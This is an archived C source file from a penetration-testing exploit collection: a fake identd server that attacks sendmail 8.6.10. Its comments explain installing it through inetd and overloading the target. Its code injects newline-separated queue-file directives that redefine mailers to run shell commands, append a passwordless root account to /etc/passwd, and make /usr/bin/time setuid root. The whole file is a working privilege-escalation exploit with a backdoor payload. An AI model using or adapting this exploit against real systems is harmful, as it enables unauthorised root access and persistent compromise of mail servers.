home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / sendmail / queue.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  82 lines

  1. /* 8.6.10 sendmail attacker
  2.  *
  3.  * gcc ident.c -o ident
  4.  * add the following line to your /etc/inetd.conf:
  5.  * ident  stream tcp  nowait  root  /tmp/ident  in.identd
  6.  * then kill -HUP inetd
  7.  *
  8.  * Not for not public use or disclosure.
  9.  * This is a sendmail 8.6.10 attack based on the problems that 
  10.  * sendmail 8.6.10 inherited from sendmail 8.6.9 - blindly accepting  
  11.  * information given to it by identd, which included bogus characters
  12.  * and newlines that it later appended to the queue file.  Sendmail 8.6.10 
  13.  * supposedly "strips" newlines before they are written, however, it 
  14.  * converts them to spaces, and the following code demonstrates that 
  15.  * quick work-around patches are never ever stable...
  16.  *
  17.  * NOTES:  This hack only works when sendmail queues up the message for
  18.  * later delivery.  This depends on the configuration of sendmail.cf and
  19.  * on the machine loading.  If you can do something to drag the machine to
  20.  * its knees, then fire off this attack, you stand a much better chance of
  21.  * success.
  22.  * NOTES: If sendmail.cf is configured with Og1 and Ou1 lines (setting the
  23.  * default user to bin.bin), this exploit will not work.  
  24.  * 
  25.  * Also, since this only works when sendmail queues up the message for
  26.  * later delivery, the time of execution is dependant on how sendmail
  27.  * has been configured in sendmail.cf and machine load.  Heavily loaded
  28.  * machines (or machines that have been intentionally flooded) have a 
  29.  * greater possibility of this exploit working.
  30.  *
  31.  */
  32.  
  33.  
  34. #include <sys/types.h>
  35. #include <sys/fcntl.h>
  36. #include <sys/time.h>
  37. #include <stdio.h>
  38. #include <stdlib.h>
  39. #include <string.h>
  40. #include <unistd.h>
  41.  
  42. /* TIMEOUT is the number of seconds to wait before closing the connection if
  43.  * the client doesn't provide the port pairs.
  44.  */
  45.  
  46. #define TIMEOUT 120
  47.  
  48. /* PROCINFO_BUFFER_SIZE must be bigger than 80 */
  49. #define OUTPUT_BUFFER_SIZE 2048
  50. #define SOCKET_BUFFER_SIZE 100
  51.  
  52. unsigned short lport = 0, rport = 0;
  53.  
  54. void
  55. main ()
  56. {
  57.   unsigned long here, there;
  58.   struct fd_set fdset;
  59.   struct timeval timeout;
  60.   char buffer[OUTPUT_BUFFER_SIZE];
  61.   char inbuffer[SOCKET_BUFFER_SIZE];
  62.   int len;
  63.   int fd;
  64.  
  65.   FD_ZERO (&fdset);
  66.   FD_SET (0, &fdset);
  67.   timeout.tv_sec = TIMEOUT;
  68.   timeout.tv_usec = 0;
  69.  
  70.   select (1, &fdset, NULL, NULL, &timeout);
  71.   len = read (0, inbuffer , SOCKET_BUFFER_SIZE - 1 );
  72.   if (len <= 0)
  73.     exit (0);
  74.   FD_SET (0, &fdset);
  75.  
  76.   sprintf (buffer, "%s : USERID : UNIX : %s\r\n", inbuffer,
  77.            "Croot\r\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\nMlocal,
  78.            P=/bin/sh, F=lsDFMeu, A=sh -c $u\r\nR<\"|/bin/echo toor::0:1:toor:/:/bin/csh >> /etc/passwd\">\r\nR<\"|/usr/bin/chmod 4755 /usr/bin/time\");
  79.            write (1, buffer, strlen (buffer));
  80.            exit (0);
  81.          }
  82.            /*                    www.hack.co.za              [2000]*/